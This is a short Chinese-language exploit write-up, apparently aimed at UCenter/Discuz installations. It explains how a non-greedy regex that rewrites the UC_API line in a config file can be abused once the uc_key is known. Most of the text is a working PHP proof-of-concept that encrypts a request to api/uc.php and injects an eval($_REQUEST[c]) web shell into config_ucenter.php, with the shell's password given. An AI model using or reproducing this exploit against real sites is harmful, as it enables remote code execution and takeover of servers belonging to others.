知key得shell。
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);
这句代码是有漏洞的。如果我第一次提交的是
\');phpinfo();
define那句就变成了
define('UC_API','\');phpinfo();');
那么我下一次提交呢?非贪婪匹配会匹配到
define('UC_API','\');
phpinfo();就留下来了。
<?php $key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里 $url = 'http://localhost/api/uc.php'; $arg = 'action=updateapps&time='.time();#拿webshell:http://localhost/config/config_ucenter.php 密码:c echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$ _REQUEST[c]);#</item></root>').'"'; #curl或者用其他工具post提交 function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>